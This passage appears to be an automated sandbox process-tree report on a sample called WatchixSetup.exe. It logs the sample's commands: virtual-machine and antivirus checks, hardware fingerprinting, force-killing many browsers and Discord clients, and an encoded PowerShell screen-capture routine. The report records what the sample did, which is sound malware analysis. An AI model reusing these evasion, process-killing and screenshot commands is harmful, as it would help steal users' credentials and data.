    reg query "HKLM\SOFTWARE\VMware, Inc.\VMware Tools"
    3⤵
    - Looks for VMWare Tools registry key
    PID:5764
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SYSTEM\CurrentControlSet\Services\vmmouse""
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2884
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SYSTEM\CurrentControlSet\Services\vmmouse"
    3⤵
    - Looks for VMWare services registry key.
    PID:4768
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\KVM""
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2824
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SOFTWARE\KVM"
    3⤵
    PID:4920
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic computersystem get model"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3292
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic computersystem get model
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1464
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic bios get serialnumber"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:804
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic bios get serialnumber
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:4672
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5280
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic path win32_VideoController get name
    3⤵
    - Detects videocard installed
    PID:5248
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell "(Get-PhysicalDisk).BusType""
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5420
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell "(Get-PhysicalDisk).BusType"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:5516
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell "Add-Type -AssemblyName System.Windows.Forms; [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width""
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2512
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell "Add-Type -AssemblyName System.Windows.Forms; [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:3900
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "tasklist"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4860
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    PID:3972
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell "[System.Windows.Forms.Cursor]::Position.X""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3012
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell "[System.Windows.Forms.Cursor]::Position.X"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:1464
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell "Get-WmiObject -List | Where-Object {$_.Name -match 'Xen|HyperV|VirtualPC'}""
  2⤵
  PID:5160
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell "Get-WmiObject -List | Where-Object {$_.Name -match 'Xen|HyperV|VirtualPC'}"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:5168
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Oracle\VirtualBox Guest Additions""
  2⤵
  - Executes a command shell one-liner
  PID:1524
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SOFTWARE\Oracle\VirtualBox Guest Additions"
    3⤵
    - Looks for VirtualBox Guest Additions in registry
    PID:5780
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic computersystem get model"
  2⤵
  - Executes a command shell one-liner
  PID:4500
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic computersystem get model
    3⤵
    PID:4048
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic bios get serialnumber"
  2⤵
  PID:3216
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic bios get serialnumber
    3⤵
    PID:4952
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell "Add-Type -AssemblyName System.Windows.Forms; [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width""
  2⤵
  PID:1192
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell "Add-Type -AssemblyName System.Windows.Forms; [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:1116
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell "(Get-PhysicalDisk).BusType""
  2⤵
  - Executes a command shell one-liner
  PID:8
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell "(Get-PhysicalDisk).BusType"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:5468
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "tasklist"
  2⤵
  PID:1744
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    PID:3524
- C:\Users\Admin\AppData\Local\Programs\WatchixSetup\WatchixSetup.exe
  "C:\Users\Admin\AppData\Local\Programs\WatchixSetup\WatchixSetup.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Roaming\WatchixSetup" --field-trial-handle=1720,i,1666548806439372728,6425147909685982568,262144 --enable-features=EnableTransparentHwndEnlargement,PdfUseShowSaveFilePicker --disable-features=DropInputEventsWhilePaintHolding,LocalNetworkAccessChecks,NetworkServiceSandbox,ScreenAIOCREnabled,SpareRendererForSitePerProcess,TraceSiteInstanceGetProcessCreation --variations-seed-version --pseudonymization-salt-handle=1724,i,2469316327364365768,8548750761789830629,4 --trace-process-track-uuid=3190708989122997041 --mojo-platform-channel-handle=2172 /prefetch:3
  2⤵
  - Executes dropped EXE
  PID:3796
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic cpu get processorid"
  2⤵
  PID:2120
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic cpu get processorid
    3⤵
    PID:5780
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic baseboard get serialnumber"
  2⤵
  - Executes a command shell one-liner
  PID:2328
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic baseboard get serialnumber
    3⤵
    PID:5672
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "vol c:"
  2⤵
  PID:1708
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM chrome.exe /T"
  2⤵
  - Executes a command shell one-liner
  PID:5304
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM chrome.exe /T
    3⤵
    - Kills process with taskkill
    PID:4196
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM msedge.exe /T"
  2⤵
  PID:5196
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM msedge.exe /T
    3⤵
    - Kills process with taskkill
    PID:3368
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM brave.exe /T"
  2⤵
  PID:5408
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM brave.exe /T
    3⤵
    - Kills process with taskkill
    PID:5428
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM opera.exe /T"
  2⤵
  PID:1708
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM opera.exe /T
    3⤵
    - Kills process with taskkill
    PID:4252
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM opera.exe /T"
  2⤵
  - Executes a command shell one-liner
  PID:1576
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM opera.exe /T
    3⤵
    - Kills process with taskkill
    PID:2220
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM vivaldi.exe /T"
  2⤵
  - Executes a command shell one-liner
  PID:3776
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM vivaldi.exe /T
    3⤵
    - Kills process with taskkill
    PID:5784
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM yandex.exe /T"
  2⤵
  - Executes a command shell one-liner
  PID:2868
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM yandex.exe /T
    3⤵
    - Kills process with taskkill
    PID:2672
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM orbitum.exe /T"
  2⤵
  - Executes a command shell one-liner
  PID:3068
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM orbitum.exe /T
    3⤵
    - Kills process with taskkill
    PID:5452
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM atom.exe /T"
  2⤵
  PID:5812
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM atom.exe /T
    3⤵
    - Kills process with taskkill
    PID:1020
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM kometa.exe /T"
  2⤵
  PID:1880
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM kometa.exe /T
    3⤵
    - Kills process with taskkill
    PID:1348
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM torch.exe /T"
  2⤵
  PID:5308
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM torch.exe /T
    3⤵
    - Kills process with taskkill
    PID:5844
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM amigo.exe /T"
  2⤵
  PID:4432
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5784
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM amigo.exe /T
    3⤵
    - Kills process with taskkill
    PID:5260
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM coccoc.exe /T"
  2⤵
  - Executes a command shell one-liner
  PID:4484
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM coccoc.exe /T
    3⤵
    - Kills process with taskkill
    PID:3940
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM uran.exe /T"
  2⤵
  PID:5112
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM uran.exe /T
    3⤵
    - Kills process with taskkill
    PID:5252
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM slimjet.exe /T"
  2⤵
  - Executes a command shell one-liner
  PID:4048
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM slimjet.exe /T
    3⤵
    - Kills process with taskkill
    PID:6140
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM ivaldi.exe /T"
  2⤵
  - Executes a command shell one-liner
  PID:5300
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM ivaldi.exe /T
    3⤵
    - Kills process with taskkill
    PID:1972
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM firefox.exe /T"
  2⤵
  PID:1300
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM firefox.exe /T
    3⤵
    - Kills process with taskkill
    PID:1464
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic computersystem get model"
  2⤵
  - Executes a command shell one-liner
  PID:4968
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic computersystem get model
    3⤵
    PID:3980
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell "Get-MpComputerStatus""
  2⤵
  - Executes a command shell one-liner
  PID:5220
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell "Get-MpComputerStatus"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:4424
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic /namespace:\\root\cimv2 path Win32_Product where "name like '%antivirus%' or name like '%security%' or name like '%kaspersky%' or name like '%norton%' or name like '%mcafee%' or name like '%avast%' or name like '%bitdefender%' or name like '%avg%' or name like '%malware%'" get name"
  2⤵
  PID:1972
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic /namespace:\\root\cimv2 path Win32_Product where "name like '%antivirus%' or name like '%security%' or name like '%kaspersky%' or name like '%norton%' or name like '%mcafee%' or name like '%avast%' or name like '%bitdefender%' or name like '%avg%' or name like '%malware%'" get name
    3⤵
    PID:4140
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Microsoft\Windows Defender""
  2⤵
  - Executes a command shell one-liner
  PID:4052
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SOFTWARE\Microsoft\Windows Defender"
    3⤵
    PID:4164
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell "Get-MpComputerStatus""
  2⤵
  PID:3956
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell "Get-MpComputerStatus"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:4780
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic /namespace:\\root\cimv2 path Win32_Product where "name like '%antivirus%' or name like '%security%' or name like '%kaspersky%' or name like '%norton%' or name like '%mcafee%' or name like '%avast%' or name like '%bitdefender%' or name like '%avg%' or name like '%malware%'" get name"
  2⤵
  PID:3436
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic /namespace:\\root\cimv2 path Win32_Product where "name like '%antivirus%' or name like '%security%' or name like '%kaspersky%' or name like '%norton%' or name like '%mcafee%' or name like '%avast%' or name like '%bitdefender%' or name like '%avg%' or name like '%malware%'" get name
    3⤵
    PID:4972
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Microsoft\Windows Defender""
  2⤵
  PID:1680
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SOFTWARE\Microsoft\Windows Defender"
    3⤵
    PID:4948
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand CgAgACAAIAAgACAAIAAgACAAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwAKACAAIAAgACAAIAAgACAAIAB0AHIAeQAgAHsACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABBAGQAZAAtAFQAeQBwAGUAIAAtAEEAcwBzAGUAbQBiAGwAeQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzACwAUwB5AHMAdABlAG0ALgBEAHIAYQB3AGkAbgBnAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABzAGMAcgBlAGUAbgAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAFMAYwByAGUAZQBuAF0AOgA6AFAAcgBpAG0AYQByAHkAUwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAYgBpAHQAbQBhAHAAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAEQAcgBhAHcAaQBuAGcALgBCAGkAdABtAGEAcAAoACQAcwBjAHIAZQBlAG4ALgBXAGkAZAB0AGgALAAgACQAcwBjAHIAZQBlAG4ALgBIAGUAaQBnAGgAdAApAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABnAHIAYQBwAGgAaQBjAHMAIAA9ACAAWwBEAHIAYQB3AGkAbgBnAC4ARwByAGEAcABoAGkAYwBzAF0AOgA6AEYAcgBvAG0ASQBtAGEAZwBlACgAJABiAGkAdABtAGEAcAApAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABnAHIAYQBwAGgAaQBjAHMALgBDAG8AcAB5AEYAcgBvAG0AUwBjAHIAZQBlAG4AKAAwACwAMAAsADAALAAwACwAJABzAGMAcgBlAGUAbgAuAFMAaQB6AGUAKQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAYgBpAHQAbQBhAHAALgBTAGEAdgBlACgAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAHMAeQBzAF8AdwBpAG4AXwAyADUAMgAzAC4AcABuAGcAJwApAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABnAHIAYQBwAGgAaQBjAHMALgBEAGkAcwBwAG8AcwBlACgAKQA7ACAAJABiAGkAdABtAGEAcAAuAEQAaQBzAHAAbwBzAGUAKAApAAoACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABpAGYAIAAoAFQAZQBzAHQALQBQAGEAdABoACAAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAHMAeQBzAF8AdwBpAG4AXwAyADUAMgAzAC4AcABuAGcAJwApACAAewAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABmAGkAbABlAEIAeQB0AGUAcwAgAD0AIABbAFMAeQBzAHQAZQBtAC4ASQBPAC4ARgBpAGwAZQBdADoAOgBSAGUAYQBkAEEAbABsAEIAeQB0AGUAcwAoACcAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXABzAHkAcwBfAHcAaQBuAF8AMgA1ADIAMwAuAHAAbgBnACcAKQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABiAGEAcwBlADYANABJAG0AYQBnAGUAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoAVABvAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABmAGkAbABlAEIAeQB0AGUAcwApAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABSAGUAbQBvAHYAZQAtAEkAdABlAG0AIAAnAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABUAGUAbQBwAFwAcwB5AHMAXwB3AGkAbgBfADIANQAyADMALgBwAG4AZwAnACAALQBGAG8AcgBjAGUACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFcAcgBpAHQAZQAtAE8AdQB0AHAAdQB0ACAAJABiAGEAcwBlADYANABJAG0AYQBnAGUACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB9AAoAIAAgACAAIAAgACAAIAAgAH0AIABjAGEAdABjAGgAIAB7ACAACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABXAHIAaQB0AGUALQBPAHUAdABwAHUAdAAgACIARQBSAFIATwBSACIACgAgACAAIAAgACAAIAAgACAAfQAKACAAIAAgACAA"
  2⤵
  PID:4408
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand CgAgACAAIAAgACAAIAAgACAAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwAKACAAIAAgACAAIAAgACAAIAB0AHIAeQAgAHsACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABBAGQAZAAtAFQAeQBwAGUAIAAtAEEAcwBzAGUAbQBiAGwAeQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzACwAUwB5AHMAdABlAG0ALgBEAHIAYQB3AGkAbgBnAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABzAGMAcgBlAGUAbgAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAFMAYwByAGUAZQBuAF0AOgA6AFAAcgBpAG0AYQByAHkAUwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAYgBpAHQAbQBhAHAAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAEQAcgBhAHcAaQBuAGcALgBCAGkAdABtAGEAcAAoACQAcwBjAHIAZQBlAG4ALgBXAGkAZAB0AGgALAAgACQAcwBjAHIAZQBlAG4ALgBIAGUAaQBnAGgAdAApAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABnAHIAYQBwAGgAaQBjAHMAIAA9ACAAWwBEAHIAYQB3AGkAbgBnAC4ARwByAGEAcABoAGkAYwBzAF0AOgA6AEYAcgBvAG0ASQBtAGEAZwBlACgAJABiAGkAdABtAGEAcAApAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABnAHIAYQBwAGgAaQBjAHMALgBDAG8AcAB5AEYAcgBvAG0AUwBjAHIAZQBlAG4AKAAwACwAMAAsADAALAAwACwAJABzAGMAcgBlAGUAbgAuAFMAaQB6AGUAKQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAYgBpAHQAbQBhAHAALgBTAGEAdgBlACgAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAHMAeQBzAF8AdwBpAG4AXwAyADUAMgAzAC4AcABuAGcAJwApAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABnAHIAYQBwAGgAaQBjAHMALgBEAGkAcwBwAG8AcwBlACgAKQA7ACAAJABiAGkAdABtAGEAcAAuAEQAaQBzAHAAbwBzAGUAKAApAAoACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABpAGYAIAAoAFQAZQBzAHQALQBQAGEAdABoACAAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAHMAeQBzAF8AdwBpAG4AXwAyADUAMgAzAC4AcABuAGcAJwApACAAewAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABmAGkAbABlAEIAeQB0AGUAcwAgAD0AIABbAFMAeQBzAHQAZQBtAC4ASQBPAC4ARgBpAGwAZQBdADoAOgBSAGUAYQBkAEEAbABsAEIAeQB0AGUAcwAoACcAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXABzAHkAcwBfAHcAaQBuAF8AMgA1ADIAMwAuAHAAbgBnACcAKQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABiAGEAcwBlADYANABJAG0AYQBnAGUAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoAVABvAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABmAGkAbABlAEIAeQB0AGUAcwApAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABSAGUAbQBvAHYAZQAtAEkAdABlAG0AIAAnAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABUAGUAbQBwAFwAcwB5AHMAXwB3AGkAbgBfADIANQAyADMALgBwAG4AZwAnACAALQBGAG8AcgBjAGUACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFcAcgBpAHQAZQAtAE8AdQB0AHAAdQB0ACAAJABiAGEAcwBlADYANABJAG0AYQBnAGUACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB9AAoAIAAgACAAIAAgACAAIAAgAH0AIABjAGEAdABjAGgAIAB7ACAACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABXAHIAaQB0AGUALQBPAHUAdABwAHUAdAAgACIARQBSAFIATwBSACIACgAgACAAIAAgACAAIAAgACAAfQAKACAAIAAgACAA
    3⤵
    PID:5332
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic computersystem get model"
  2⤵
  - Executes a command shell one-liner
  PID:4772
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic computersystem get model
    3⤵
    PID:5520
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell "Get-MpComputerStatus""
  2⤵
  PID:4144
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell "Get-MpComputerStatus"
    3⤵
    PID:5236
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic /namespace:\\root\cimv2 path Win32_Product where "name like '%antivirus%' or name like '%security%' or name like '%kaspersky%' or name like '%norton%' or name like '%mcafee%' or name like '%avast%' or name like '%bitdefender%' or name like '%avg%' or name like '%malware%'" get name"
  2⤵
  - Executes a command shell one-liner
  PID:4536
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic /namespace:\\root\cimv2 path Win32_Product where "name like '%antivirus%' or name like '%security%' or name like '%kaspersky%' or name like '%norton%' or name like '%mcafee%' or name like '%avast%' or name like '%bitdefender%' or name like '%avg%' or name like '%malware%'" get name
    3⤵
    PID:2420
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Microsoft\Windows Defender""
  2⤵
  - Executes a command shell one-liner
  PID:4140
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:3748
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SOFTWARE\Microsoft\Windows Defender"
    3⤵
    PID:2324
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM Discord.exe"
  2⤵
  PID:4716
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM Discord.exe
    3⤵
    - Kills process with taskkill
    PID:3876
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM DiscordCanary.exe"
  2⤵
  PID:3204
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM DiscordCanary.exe
    3⤵
    - Kills process with taskkill
    PID:5260
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM DiscordPTB.exe"
  2⤵
  PID:1996
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM DiscordPTB.exe
    3⤵
    - Kills process with taskkill
    PID:1412
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM DiscordDevelopment.exe"
  2⤵
  PID:5388
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM DiscordDevelopment.exe
    3⤵
    - Kills process with taskkill
    PID:5844
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM Vesktop.exe"
  2⤵
  - Executes a command shell one-liner
  PID:4784
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM Vesktop.exe
    3⤵
    - Kills process with taskkill
    PID:4856
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM Vencord.exe"
  2⤵
  PID:4868
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM Vencord.exe
    3⤵
    - Kills process with taskkill
    PID:1392
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM BetterDiscord.exe"
  2⤵
  PID:740
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM BetterDiscord.exe
    3⤵
    - Kills process with taskkill
    PID:1172
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM Powercord.exe"
  2⤵
  - Executes a command shell one-liner
  PID:5376
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM Powercord.exe
    3⤵
    - Kills process with taskkill
    PID:5356
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM Revolt.exe"
  2⤵
  PID:5748
- - C:\Windows\system32\taskkill.exe
